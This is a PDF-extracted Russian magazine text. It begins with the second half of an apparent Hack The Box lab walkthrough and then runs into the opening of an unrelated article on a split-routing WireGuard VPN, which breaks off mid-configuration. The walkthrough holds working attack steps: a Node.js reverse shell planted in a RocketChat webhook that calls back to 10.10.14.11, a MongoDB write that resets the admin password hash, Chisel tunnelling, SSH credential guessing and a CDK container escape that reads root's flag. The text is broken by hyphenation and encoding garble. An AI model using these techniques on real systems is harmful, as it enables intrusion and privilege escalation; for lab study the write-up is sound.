Нам нуж но записать реверс-шелл в этот файл, а потом обра тить ся к нему.
В качес тве шел ла мож но исполь зовать зна мени тый , который

тоже есть в .

pentestmonkey

Online ReverseShell Generator

Ге нери рова ние PHP-реверс-шел ла

Ко ман дой  откры ваем лис тенер, обра щаем ся

к изме нен ному фай лу и получа ем бэк коннект.

rlwrap -cAr nc -lvnp 4321

По лучен ный бэк коннект

ÏÐÎÄÂÈÆÅÍÈÅ

Так как мы находим ся в докер-кон тей нере, нуж но про вес ти раз ведку, и луч шее
средс тво для это го — . Заг ружа ем его с локаль ного хос та при помощи

 и выпол няем.

deepce

curl

curl http://10.10.14.11:8000/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

Ин форма ция о кон тей нере

Ни чего най ти не уда лось, но зато узна ем адрес «Докера» и адрес глав ного хос -
та. Текущий кон тей нер будем исполь зовать как прок си-хост, поэто му заг ружа -
ем на него  и соз даем тун нель Socks. Исполь зуем свой хост как сер вер

и откры ваем порт 8080 для обратно го под клю чения:

Chisel

./chisel.bin server -p 8080 --reverse

Ло ги сер вера Chisel

На кли енте (уда лен ном хос те) выпол няем под клю чение к сер веру:

./chisel.bin client 10.10.14.11:8080 R:socks

Ло ги кли ента Chisel

Ес ли тун нель будет успешно соз дан, в логах сер вера обна ружим новую сес -
сию.

Ло ги сер вера Chisel

Прос каниру ем пор ты на глав ном хос те. Так как Docker исполь зует дру гой
сетевой интерфейс, резуль тат ска на дол жен отли чать ся от того, что мы выпол -
няли в самом начале. Для перенап равле ния тра фика из Nmap в наш тун нель
будем исполь зовать . В кон фиг  вне сем

запись . Пос ле чего запус тим скан.

ProxyChains /etc/proxychains.conf
socks5 127.0.0.1 1080

proxychains -q nmap 172.17.0.1

Ре зуль тат ска ниро вания Nmap

Ви дим откры тый SSH. Не забыл, что у нас есть целая пач ка учет ных дан ных?
Переби раем все ком бинации и в ито ге авто ризу емся от име ни поль зовате ля
saul.

Сес сия SSH

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/urbanadventurer/WhatWeb
https://www.revshells.com/
https://www.revshells.com/
https://github.com/stealthcopter/deepce
https://github.com/jpillora/chisel
https://github.com/haad/proxychains


ПРОХОДИМ ЦЕПОЧКУ ДОКЕР-КОНТЕЙНЕРОВ
ДЛЯ ЗАХВАТА ХОСТА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

DOCKER

MongoDB

Ска ниро вание хос та ничего инте рес ного нам не дает, поэто му пос мотрим
на запус каемые про цес сы. Для это го при меним ути литу . В логах

pspy64 находим запуск какого-то скрип та .

pspy64

/root/.backup/update_mongo.py

Вы вод ути литы pspy64

На самом хос те базы MongoDB нет, поэто му, ско рее все го, про исхо дит под -
клю чение к базе на уда лен ном хос те. Коман дой  про верим

сетевые соеди нения.

netstat -tulpan

Се тевые соеди нения

В спис ке есть хост 172.17.0.2. Так как тун нель уже соз дан, прос каниру ем
порт 27017.

 proxychains -q nmap -p27017 -A 172.17.0.2

Ре зуль тат ска ниро вания пор тов

От лично, мы наш ли MongoDB. Рань ше с этой базой я работал с помощью
DBeaver, но теперь под дер жка MongoDB в ней толь ко за денеж ку, поэто му
юза ем ути литу , которую нуж но уста новить на свой хост.mongosh

wget https://downloads.mongodb.com/compass/mongodb-mongosh_1.3.1_
amd64.deb

dpkg sudo -i mongodb-mongosh_1.3.1_amd64.deb

Пос ле уста нов ки  нам тре бует ся «про кинуть» порт 27017 на наш хост.

Для это го сно ва исполь зуем Chisel.

mongosh

# local host
./chisel.bin server -p 8081 --reverse

#remote host
./chisel.bin client 10.10.14.11:8081 R:27017:172.17.0.2:27017

Весь тра фик, который мы отпра вим на локаль ный порт 27017, будет тун -
нелиро ван на порт 27017 ука зан ного хос та (172.17.0.2) через хост-кли ент
Chisel. Теперь под клю чим ся к базе.

mongosh "mongodb://LOCALHOST:27017"

Под клю чение к базе MongoDB

Пер вым делом получа ем спи сок баз дан ных.

 show databases

Спи сок баз дан ных

Об раща ет на себя вни мание база . Прос мотрим таб лицы.admin

 use admin
 show tables

Спи сок таб лиц в базе admin

Я получил вывод клю чей, но это ничего мне не дало, кро ме пред положе ния,
что у нас высокие пра ва.

db.system.keys.find()

Со дер жимое таб лицы system.keys

Тог да я перешел даль ше — к базе . В ней очень мно го таб лиц, в том

чис ле и , содер жимое которой нам боль ше все го инте рес но.

meteor
users

 use meteor
db.users.find()

Со дер жимое таб лицы users

И это таб лица RocketChat!

RocketChat RCE

Мы име ем дос туп к базе RocketChat, при этом нам извес тно имя поль зовате ля
( ). Из докумен тации узна ем, что можем сбро сить пароль, точ нее — уста -

новить дефол тный пароль 12345. Для это го нуж но прос то про извести запись
в базу дан ных.

admin

, :
: : :

db.getCollection('users').update({username:"admin"} {$set {
"services" {"password" {"bcrypt" "$2a$10$n9CM8OgInDlwpvjLKLPML.
eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}}}})

Из менение пароля поль зовате ля

За пись прош ла успешно, поэто му авто ризу емся в чате как .admin:12345

Глав ная стра ница RocketChat

Пер вым делом нам нуж но узнать вер сию про дук та. В RocketChat это вклад ка
«Адми нис три рова ние → Информа ция».

Про вер ка вер сии RocketChat

Уз нали, что исполь зует ся вер сия 2.4.14. Сра зу сто ит про верить, есть ли
для вер сии готовые экс пло иты. Самый надеж ный спо соб обна ружить такие
экс пло иты — поис кать в интерне те на сай тах вро де , ,
а так же на GitHub.

HackerOne exploit-db

По иск экс пло ита в Google

Хоть экс пло итов я и не нашел, но зато узнал, что для адми нис тра тив ных акка -
унтов RocketChat пре дос тавля ет интегра ции, которые поз воля ют соз давать
вхо дящие и исхо дящие веб-хуки. Эти веб-хуки могут иметь свя зан ные с ними
скрип ты, которые выпол няют ся при сра баты вании веб-хука, а это и есть RCE!
Для соз дания новой интегра ции выбира ем опцию  →

 → .

Администрирование
Интеграции Новая интеграция

Соз дание новой интегра ции

Вы бира ем «Вхо дящий веб-хук» и запол няем необ ходимые поля.

Соз дание новой интегра ции (про дол жение)

В самом низу стра ницы тре бует ся ука зать исполь зование скрип та и написать
сам скрипт Node.js. Будем исполь зовать прос той реверс-шелл.

   const require = console.log.constructor('return process.
mainModule.require')();
(function(){
     var net = require("net"),

        cp = require("child_process"),
         sh = cp.spawn("bash", []);

      var client = new net.Socket();
    client.connect(5432, "10.10.14.11", function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
  });
   return /a/;

})();

Соз дание новой интегра ции (про дол жение)

Пос ле сох ранения интегра ции и обновле ния стра ницы мы получим URL
веб-хука.

По луче ние токена веб-хука

Те перь оста лось перей ти по дан ной ссыл ке, и нам при летит бэк коннект. Но тут
забегу впе ред... Нам при летит сес сия в Docker, на котором будут уре заны нуж -
ные ути литы, и понадо бит ся заг ружать в сис тему фай лы, поэто му в качес тве
лис тенера я исполь зовал , который запус тит свой агент.pwncat

pip3 install pwncat-cs
pwncat-cs -m linux -lp 5432

Сес сия поль зовате ля в pwncat

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Docker escape

И мы сно ва попада ем в Docker. Базовые перечис ления сис темы мало чем
могут помочь, так как они пре иму щес твен но нуж ны для повыше ния при виле -
гий. Не так дав но я нашел ути литу , внут ри у которой чекер и мно жес тво
реали заций методов выхода из «Докера». Заг ружа ем файл в Docker
с помощью коман ды , даем пра ва на исполне ние и запус каем авто -

чекер.

CDK

upload

cdk_linux_amd64 auto-escape

Про вер ка методов выхода из «Докера»

CDK нашел активную воз можность , под ска зыва ет, что

она нам дает, и отоб ража ет коман ду для экс плу ата ции.

CAP_DAC_READ_SEARCH

В Linux поль зователь root получа ет осо бый кон текст при запус ке любых про -
цес сов. Так, ядро и при ложе ния, работа ющие от име ни root, обыч но про пус -
кают любые огра ниче ния, задан ные на дей ствия в опре делен ном кон тек сте,
поэто му root может делать все, что захочет. Но что, если опре делен ному про -
цес су, который работа ет в неп ривиле гиро ван ном кон тек сте, нуж но выпол нить
тре бующее при виле гий дей ствие, не повышая уров ня прав?

Нап ример, быва ет нуж но раз решить про цес су записы вать в жур нал ауди та
ядра, но не поз волять отклю чить этот аудит. Ведь если запус тить этот про цесс
в кон тек сте рута, он смо жет выпол нить оба дей ствия!

Тут на помощь и при ходят Linux capabilities. Эти «воз можнос ти» пре дос -
тавля ют про цес су не все мно жес тво при виле гий, а какое-то его под мно жес тво.
Дру гими сло вами, все при виле гии рута раз бива ются на более мел кие незави -
симые друг от дру га при виле гии и про цесс получа ет толь ко те, которые ему
нуж ны.

Воз можность  поз воля ет про цес су обхо дить пра ва
на чте ние для фай лов и пра ва на чте ние и выпол нение катало гов. Соз давалась
она для поис ка или чте ния фай лов, но так же пре дос тавля ет про цес су раз -
решение на вызов . Любой про цесс с воз можностью

 может исполь зовать  для получе ния

дос тупа к любому фай лу, даже к фай лам за пре дела ми сво его прос транс тва
имен при мон тирова нии раз делов.

CAP_DAC_READ_SEARCH

open_by_handle_at
CAP_DAC_READ_SEARCH open_by_handle_at

Тог да сра зу про чита ем флаг рута, который рас положен за пре дела ми
докер-кон тей нера.

cdk_linux_amd64 run cap-dac-read-search /root/root.txt

Флаг рута

Ма шина зах вачена!

https://github.com/DominicBreuker/pspy
https://downloads.mongodb.com/compass/mongodb-mongosh_1.3.1_amd64.deb
https://www.hackerone.com/
https://www.exploit-db.com/
https://github.com/calebstewart/pwncat
https://github.com/cdk-team/CDK/releases/tag/v1.3.0
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ПРИВАТНОСТЬ

За бав ная ситу ация: сай тов и сер висов,
дос тупных толь ко через VPN, все боль ше,
но при этом мно гие рос сий ские ком пании
зак рыва ют дос туп из-за гра ницы.
В резуль тате при ходит ся целыми дня ми
теребить пол зунки «вкл-выкл», что уто -
митель но. Я рас ска жу, как с помощью
магии мар шру тов и WireGuard, решить эту
проб лему и сде лать «умный» VPN, который
не надо отклю чать.

Ес ли ты поль зуешь ся VPN, то и сам навер няка стал кива ешь ся с бло киров ками
зарубеж ного тра фика. К при меру, могут не откры вать ся pochta.ru,
leroymerlin.ru, rt.ru, avito.ru.

По луча ется мем.

Каж дый с этим борет ся как может. Нап ример, на устрой ствах Apple 
 мож но нас тро ить авто мати зацию, которая будет запус кать VPN,

ког да откры ваешь опре делен ные при ложе ния (нап ример, Twitter), а ког да
выходишь из них — вык лючать обратно. Но это кос тыль, а хочет ся все сде лать
кра сиво, да еще и про качать навык работы с сетью.

род ными
средс тва ми

По это му мы сей час поп робу ем «вклю чать чуть-чуть VPN».

При таком исполь зовании это ско рее прок си, а не
VPN, но любые методы обхо да бло киро вок теперь
называ ют VPN, так что, сде лав эту ого вор ку,
даль ше рас сла бим ся и будем делать как все.

За одно чуть улуч шим качес тво свя зи с локаль ными ресур сами: необ ходимость
тас кать тра фик сна чала до VPN вне стра ны, а потом обратно до сер вера внут ри
нее дра матич но ска зыва ется если не на ско рос ти, то на задер жке точ но. Даже
на про вод ном интерне те пинг в 4 мс до Яндекса лег ко прев раща ется в 190 мс,
а на мобиль ном интерне те — из 80 мс в 240 мс. Допол нитель ный хоп внут ри
стра ны чуть ухуд шит дело, но далеко не так дра матич но.

Де лать все мы будем на осно ве WireGuard — это отно ситель но новая (раз -
рабаты вает ся с 2016 года, в отли чие от OpenVPN и IPsec: пер вый — это двух -
тысяч ные, а вто рой еще рань ше) тех нология VPN. Соз дал ее, по сути, один
человек — zx2c4, которо го в миру зовут Джей соном Донен фель дом. Плю сы
WG — ско рость (осо бен но для Linux, где он может работать как модуль ядра,
начиная с Kernel 5.6, и Windows, где модуль для ядра выпус тили око ло недели
назад), низ кие задер жки, сов ремен ная крип тогра фия и прос тая нас трой ка
и исполь зование конеч ным юзе ром.

Ах да, еще UDP. UDP для тун нелей — это хорошо, потому что у TCP уже есть
механиз мы, которые поз воля ют ему работать на неидеаль ных соеди нени ях,
а UDP пред став ляет собой имен но такое соеди нение. А ког да ты засовы ваешь
TCP в TCP, то отка зыва ешь ся от боль шей час ти этих механиз мов (инкапсу лиро -
ван ный TCP-пакет будет гаран тирован но дос тавлен дру гой сто роне, хотя про -
токол допус кает недос тавку), но все еще несешь весь овер хед вида «хен дшейк
соеди нения для отправ ки хен дшей ка».

Не говоря уж о том, что инкапсу лиро вать UDP в TCP — ничуть не луч шая
идея, потому что сра зу рушит все пред положе ния вся ких скай пов о том, что
луч ше про пус тить пару пакетов, чем умень шить задер жку: каж дый UDP-пакет
в этом слу чае будет при нуди тель но пос лан заново и дос тавлен кор рек тно,
не счи таясь с зат ратами вре мени.

Осо бен но для оди ноко го поль зовате ля-хакера при ятна работа с шиф -
ровани ем: нет необ ходимос ти ни в сер тифика тах и удос товеря ющих цен трах,
ни в логинах-паролях, все, что нуж но, — обме нять ся пуб личны ми клю чами
с пиром, с которым ты хочешь уста новить соеди нение. Для боль ших ком паний
это, конеч но, будет ско рее минусом, как и то, что WG — это толь ко базовая
часть пол ноцен ной боль шой инфраструк туры VPN. Но имен но WireGuard
исполь зовали, к при меру, в Cloudare для  , прав да, написав его
собс твен ную реали зацию — boringtun.

сво его WARP

Еще один минус WG — то, что тра фик не обфусци рован и глу бокая инспек -
ция пакетов (DPI) выявит и поз волит заб локиро вать такое соеди нение (не
говоря уж о бло киров ке UDP сов сем, что поч ти не меша ет работать с вебом,
но гаран тирован но лома ет WireGuard). Для скры тия тра фика рекомен дует ся
исполь зовать спе циали зиро ван ное ПО — Cloak, Obfsproxy, Shadowsocks,
Stunnel, SoftEther, SSTP или, в кон це кон цов, прос той SSH. Часть из этих инс -
тру мен тов может работать сов мес тно с WG, а часть спо соб на его заменять
в качес тве инс тру мен та сте ганог рафии: WG изна чаль но соз давал ся под ско -
рость и крип тогра фичес кую защищен ность.

Ес ли очень упро щать, клю чи работа ют сле дующим обра зом: у нас есть зак -
рытый (при ват ный) ключ, из которо го мож но сге нери ровать откры тый, или пуб -
личный. Наобо рот, из откры того клю ча получить зак рытый мы никак не можем.
Затем мы шиф руем с помощью зак рытого клю ча какую-то стро ку, а при
помощи откры того рас шифру ем ее и тем самым убе дим ся, что у собесед ника
точ но есть зак рытый ключ, а зна чит, он тот, за кого себя выда ет. Таким обра -
зом, мы можем без проб лем переда вать откры тый ключ — он все го лишь поз -
воля ет про верить под линность авто ра, но не прит ворить ся им.

Это как в SSH — пуб личный ключ лежит на сер вере, где его потеря —
неболь шая беда: все, что смо жет сде лать с ним зло умыш ленник, —
это положить его на свой сер вер, что бы ты мог под клю чить ся к нему
с помощью зак рытого клю ча.

Так вот, в WG на пер вом эта пе под клю чения каж дая сто рона с помощью
зашиф рован ного при ват ным клю чом сооб щения доказы вает собесед нику, что
она имен но она: это про веря ется пуб личным клю чом.

Вто рой этап — соз дание с помощью этих клю чей и матана сим метрич ных
клю чей для шиф рования самого тра фика. Бла года ря тому что рас шифро вать
зашиф рован ное пуб личным клю чом нель зя без при ват ного, мы смо жем соз -
дать ключ для сим метрич ного шиф рования и отпра вить его по защищен ному
каналу. Этот шаг необ ходим потому, что сим метрич ное шиф рование гораз до
менее ресур соем кая опе рация, а минус у нее толь ко один: необ ходимо син -
хро низи ровать ключ меж ду сто рона ми, при том что перех ват клю ча треть ей
сто роной ведет к воз можнос ти рас шифров ки тра фика.

Но эта проб лема реша ется с помощью асим метрич ной схе мы. Это называ -
ется про токол Диф фи — Хел лма на — спо соб защищен ного получе ния обще го
сек ретно го клю ча. В WG исполь зует ся ECDH — вари ация Диф фи — Хел лма на
на эллипти чес ких кри вых. Пер вые два эта па в тер минах WG называ ются
рукопо жати ем или хен дшей ком.
За тем сим метрич ные клю чи исполь зуют ся для шиф рования тра фика. Раз в две
минуты про исхо дит новое рукопо жатие и сес сион ные клю чи меня ются.

Ра зуме ется, в реаль нос ти все нем ного слож нее: нап ример, отправ ляют ся
не сами клю чи, а сге нери рован ные на их осно ве эфе мер ные клю чи, которые
уда ляют ся сра зу пос ле опе рации. Заин тересо вав шихся под робнос тями
отправ ляю к .крат кому опи санию на сай те WireGuard

Мы же перей дем к более прак тичес ким дей стви ям.

ØÀÃ 1. ÑÎÇÄÀÅÌ È ÍÀÑÒÐÀÈÂÀÅÌ ÄÂÀ ÑÅÐÂÅÐÀ

Один сер вер будет внут ри стра ны — через него тра фик пой дет на локаль ные
ресур сы, а вто рой — за гра ницей. Даль ше я их буду называть  и .local external

Иде аль но, если  будет в тво ей домаш ней сети, потому что при этом

тра фик на внеш ние ресур сы не отли чает ся от тво его домаш него тра фика.
Но для это го нужен какой-то хост дома, белый IP и воз можность проб росить
порт. У меня это вир туал ка на домаш нем сер вере, но, навер ное, подой дет
и Raspberry Pi или ана логич ный одноплат ник.

local

Ва риант с одноплат ником я не тес тировал и не
уве рен, что он сра бота ет. Raspberry Pi при дет ся
мар шру тизи ровать весь тра фик с устрой ств
и дер жать в памяти око ло 11 тысяч мар шру тов;
ресур сов на это может не хва тить.

Ес ли дома хос та нет, мож но взять любой сер вер у хос тера VDS. Увы, некото -
рые сай ты бло киру ют под сети хос теров, опа саясь ботов, так что это менее
пред почти тель ный вари ант.

А вот внеш нюю машину мож но арен довать и у хос тера. К при меру, у RU
VDS и VDSina есть зарубеж ные пло щад ки. А мож но выб рать инос тран ного хос -
тера, если най дешь спо соб опла чивать его услу ги. Нап ример, я исполь зую
исланд ский 1984.hosting, соз данный спе циаль но для парано иков.

Счи таем, что на обо их сер верах у нас Debian 11.
Ста вим нуж ные нам пакеты:

 apt  apt update && install -y wireguard iptables ipcalc qrencode 
curl jq traceroute dnsutils ufw

Вклю чаем перенап равле ние тра фика: в этом слу чае сер вер, получив пакет,
который не пред назна чает ся ни одно му из его IP-адре сов, не отбро сит его,
а попыта ется перенап равить в соот ветс твии со сво ими мар шру тами.

   echo "net.ipv4.ip_forward=1" > > /etc/sysctl.conf
   echo "net.ipv4.conf.all.forwarding=1" > > /etc/sysctl.conf

sysctl -p /etc/sysctl.conf

Оп циональ но (но очень удоб но) сра зу поменять hostname обо их сер веров, что -
бы не запутать ся, где какая кон соль:

hostnamectl set-hostname trickster-internal

hostnamectl set-hostname trickster-external

Продолжение статьи →

mailto:xaker@vvzvlad.xyz
https://superg.ru/kak-nastroit-avtomaticheskoe-vklyuchenie-vpn-na-iphone/
https://blog.cloudflare.com/announcing-warp-plus/
https://blog.cloudflare.com/warp-technical-challenges/
https://www.wireguard.com/protocol/
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ØÀÃ 2. ÍÀÑÒÐÀÈÂÀÅÌ WIREGUARD ÄËß ÑÂßÇÈ ÄÂÓÕ ÑÅÐÂÅÐÎÂ

Для начала генери руем клю чи. Запус каем два раза  и получа ем два
при ват ных клю ча:

wg genkey

root@trikster-internal:~# wg genkey
kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8=
root@trikster-internal:~# wg genkey
6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28=

Ути лита wg genkey не дела ет ничего вол шебно го, это прос то ана лог чего-то
в таком духе:

  |  |  echo $RANDOM md5sum head -c 32 | base64

Толь ко навер няка более слу чай ное: мы прос то генери руем 32 бай та слу чай ных
зна чений и пред став ляем их в виде Base64.

Соз даем два кон фига. Один на :internal

/etc/wireguard/wg-internal.conf
[Interface]

  Address = 10.20.30.1/32
  ListenPort = 17968
  PrivateKey = kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8=

  PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

  PostUp = ip rule add from `ip addr show $(ip route | awk '/
default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n 
1 | awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main

  PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

  PostDown = ip rule del from `ip addr show $(ip route | awk '/
default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n 
1 | awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main

Вто рой на :external

/etc/wireguard/wg-external.conf
[Interface]
Address=10.20.30.2/32
PrivateKey=6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28=

  PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

  PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

Сек ция  — это нас трой ки кон крет ного сетево го интерфей са

WireGuard, того, что будет виден в . Наз вание интерфей са берет ся из наз -

вания текуще го фай ла кон фигура ции. У одно го интерфей са всег да одна клю -
чевая пара: у пиров это го интерфей са оди нако вый пуб личный ключ.

[Interface]

ip a

Но ник то не меша ет, если хочет ся, сде лать для каж дого пира отдель ный
кон фиг и отдель ный интерфейс (прав да, на сот нях кли ентов это будет неудоб -
но).

Уп равля ются интерфей сы обыч но при помощи ути литы :

 и 

wg-quick

wg-quick down wg-external wg-quick up wg-external

Ути лита  — это на самом
деле 400 строк на баше, которые авто мати зиру -
ют час то исполь зуемые вещи, нап ример уста нов -
ку мар шру тов. Наличие тун неля само по себе
не дает ничего, кро ме защищен ной «тру бы»,
за которой находит ся дру гой пир. Что бы твой
зап рос в бра узе ре попал в интерфейс, сис теме
надо явно ска зать: «Мар шру тизи руй, пожалуй ста,
пакеты с таким-то адре сом наз начения вот в этот
сетевой интерфейс».

wg-quick

Имен но этим занима ется . Ну еще и
нас трой кой адре сов DNS, ука зан ных в кон фиге,
уста нов кой MTU и еще парой вещей. Но ничего
слож ного в этом нет, дос таточ но сде лать 

, что бы пос мотреть на эту
логику, и, если надо, пов торить то же самое
руками.

wg-quick

cat /
usr/bin/wg-quick

 — это IP текуще го пира. Вся адре сация в WG ста тичес -
кая. С одной сто роны, это упро щает нас трой ку и бутс трап, с дру гой сто -
роны, усложня ет работу, если у тебя очень мно го кли ентов.

• Interface-Address

 — это UDP-порт для под клю чения извне. Если не ука зать, будет
прос лушивать 51820.

• ListenPort

 и  — скрип ты, которые выпол -

няют ся пос ле под нятия и пос ле оста нов ки интерфей са. Есть еще 
и .

• Interface-PostUp Interface-PostDown

PreUP

PreDown

Кро ме пуб личных и при ват ных клю чей, есть еще опция ,

которая обес печива ет допол нитель ное шиф рование сим метрич ным шиф ром.
Ключ мож но сге нери ровать, нап ример, коман дой  и добавить

в опцию  в сек циях  на обо их пирах. Если не исполь зовать

эту опцию, наг рузка по шиф рованию и рас шифров ке не вырас тет: ког да ключ
не ука зан, исполь зует ся нулевое зна чение клю ча.

PresharedKey

wg genpsk
PresharedKey Peer

А что бы по-нас тояще му обес печить пост кван товую безопас ность (невоз -
можность рас шифров ки дан ных кван товыми компь юте рами), раз работ чики
рекомен дуют допол нитель ный внеш ний кван тово-устой чивый механизм хен -
дшей ка, нап ример SIDH, который Microsoft пиарит имен но в таком кон тек сте.
Соз данный им общий ключ мож но исполь зовать в качес тве .PresharedKey

Зак линания в PostUp дос таточ но прос ты. Вот коман да для под ста нов ки
име ни сетево го интерфей са, куда по умол чанию выпол няет ся мар шру тиза ция:

 ip route | awk '/default/ {print $5; exit}'

Как пра вило, это интерфейс, обра щен ный к про вай деру или роуте ру.
Та ким обра зом, страш ная коман да прев раща ется в такую:

 nat iptables -t -A POSTROUTING -o eth0 -j MASQUERADE

Здесь про исхо дит вклю чение NAT в режиме мас карада: сер вер будет отправ -
лять при шед шие ему пакеты во внеш нюю сеть, под меняя адрес отпра вите ля
сво им, что бы отве ты на эти пакеты тоже при ходи ли ему, а не исходно му отпра -
вите лю.

Вто рая коман да уже нем ного слож нее, но она под став ляет IP-адрес дефол -
тно го мар шру та.

  |  
 |    |   1 |   | 

 / 

`ip addr show $(ip route | awk '/default/ { print $5 }') grep
"inet" grep -v "inet6" head -n awk '/inet/ {print $2}'
awk -F '{print $1}'`

Сна чала мы получа ем, как и выше, сетевой интерфейс мар шру та по умол -
чанию:

 root@:~# ip route | awk '/default/ { print $5 }'
enp1s0

По том дан ные о сос тоянии это го интерфей са:

 root@:~# ip route | awk '/default/ { print $5 }'
   inet 192.168.88.70/24 brd 192.168.88.255 scope global dynamic 

enp1s0

И даль ше вытас кива ем отту да адрес, в дан ном слу чае 192.168.88.70.
Ко ман да ста новит ся такой:

ip rule add from 95.93.219.123 table mainё

Это необ ходимо для сер вера , потому что ина че при акти вации мар -

шру та  он начина ет пересы лать отве ты на пакеты, при ходя щие ему

на внеш ние адре са через тун нель WG. Сер вер на том кон це, конеч но, пересы -
лает их по наз начению, но тут уже не готов отпра витель пакета: он при сыла ет
что-то на внеш ний адрес сер вера , а ответ ему при ходит с .

internal

0.0.0.0/0

internal external

Ес тес твен но, при вклю чен ном rp_lter пакет отбра сыва ется. В этом слу чае
сер вер перес тает быть дос тупным, нап ример по SSH сна ружи. К нему при дет -
ся кон нектить ся толь ко по внут ренне му IP WireGuard. Отклю чать rp_lter —
это стре лять из пуш ки по воробь ям, а вот допол нитель ное пра вило исправ ляет
ситу ацию.

Я намерен но не при вожу готовые кон фиги,
потому что хочу показать механизм соз дания
кон фигов в руч ном режиме. В свое вре мя я
генери ровал кон фиги ути лита ми типа easy-wg-
quick или веб-сер висами, которые спра шива ют
тебя о наз вании кли ента и кра сиво показы вают
QR-код. Это отнюдь не спо собс тву ет понима нию
того, как работа ет WG на самом деле, и может
выз вать проб лемы.

Те перь в оба кон фига надо добавить сек цию , что бы свя зать сер веры

друг с дру гом.

Peer

Ге нери руем из при ват ного клю ча пуб личный (вот в  как раз
и про исхо дит крип томагия):

wg pubkey

 root@:~# echo "kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8=" | wg 
pubkey
MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=

Это пуб личный ключ сер вера , его мы помеща ем в сек цию 

на :

internal Peer

external

/etc/wireguard/wg-external.conf
[Peer]
PublicKey=MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=
AllowedIPs=10.20.30.0/24
Endpoint=195.2.79.13:17968
PersistentKeepalive=25

Там же, в  ука зыва ем адрес сер вера  и порт, который мы

задали в .

Endpoint internal

ListenPort

С  при исполь зовании wg-quick воз ника ет неболь шая путани ца.

Это имен но спи сок IP-адре сов, с которых мы раз реша ем при нимать пакеты
из тун неля. Если при летит что-то с дру гим src, оно будет отбро шено.

AllowedIPs

 разум но счи тает, что, если есть какие-то устрой ства, которые

могут пос лать пакет, пакеты к этим устрой ствам надо мар шру тизи ровать туда
же, и соз дает мар шру ты на эти адре са, ука зыва ющие на тун нель пира.

Wg-quick

В этих при мерах  мож но читать как «адре са, тра фик на которые

будет мар шру тизи ровать ся в тун нель это го пира и с которых пир смо жет
отпра вить что-то в тун нель». То есть пункт 
озна чает бук валь но «толь ко зап росы на 10.20.30.3 (адрес пира WG) отправ -
лять в тун нель» — дать дос туп толь ко до машины это го кли ента.
Пункт  озна чает, что при зап росе адре са
из этой под сети зап рос уйдет в тун нель кли ента, и если у него вклю чен фор -
вардинг и ему дос тупна эта под сеть, то к ней мож но будет получить дос туп.

AllowedIPs

AllowedIPs = 10.20.30.3/32

AllowedIPs = 192.168.88.0/24

 озна чает, что в тун нель надо мар шру тизи ровать

вооб ще весь тра фик. Прав да, это не отно сит ся к тра фику, нап ример, локаль -
ной сети: при ори тет у мар шру та, который соз дает ся из мас ки под сети и адре са
шлю за, выше, чем у 0.0.0.0/0. Так же мар шрут 0.0.0.0/0 перебь ют мар шру ты
дру гих пиров, если они будут в кон фиге.

AllowedIPs = 0.0.0.0/0

В дан ном слу чае  озна чает, что тра фик

с  в под сеть 10.20.30.0–10.20.30.255 будет ухо дить в тун нель

к . В прин ципе, осо бой нуж ды в этом нет,  у нас исклю читель -
но выход ная нода. Но вдруг мы как-нибудь захотим зай ти отту да по SSH
на какую-нибудь дру гую машину.

AllowedIPs=10.20.30.0/24
external

internal external

Пов торя ем генера цию пуб лично го клю ча с :external

 root@:~# echo "6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28=" | wg 
pubkey
FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=

Мы получа ем пуб личный ключ сер вера  и помеща ем его в сек цию

 сер вера .

external

Peer internal

/etc/wireguard/wg-internal.conf
 [Peer] #external node

  PublicKey = FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=
  AllowedIPs = 10.20.30.2/32, 0.0.0.0/0

 тут . Этим мы ука зыва ем, что за тун -

нелем находит ся кон крет ный IP 10.20.30.2, и, помимо это го, проб расыва ем
весь тра фик, не свя зан ный дру гими мар шру тами, в этот тун нель: 

у нас основная выход ная нода VPN.

AllowedIPs 10.20.30.2/32, 0.0.0.0/0

external

По это му по умол чанию весь тра фик будет нап равлять ся через нее, так
как зарубеж ных мар шру тов боль ше, чем рос сий ских, и логич нее филь тро вать
имен но рос сий ские, а зарубеж ный тра фик пус тить по умол чанию через ноду
в дру гой стра не.

Итак, два кон фига.

/etc/wireguard/wg-internal.conf
[Interface]

  Address = 10.20.30.1/32
  ListenPort = 17968
  PrivateKey = kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8=

  PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

  PostUp = ip rule add from `ip addr show $(ip route | awk '/
default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n 
1 | awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main

  PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

  PostDown = ip rule del from `ip addr show $(ip route | awk '/
default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n 
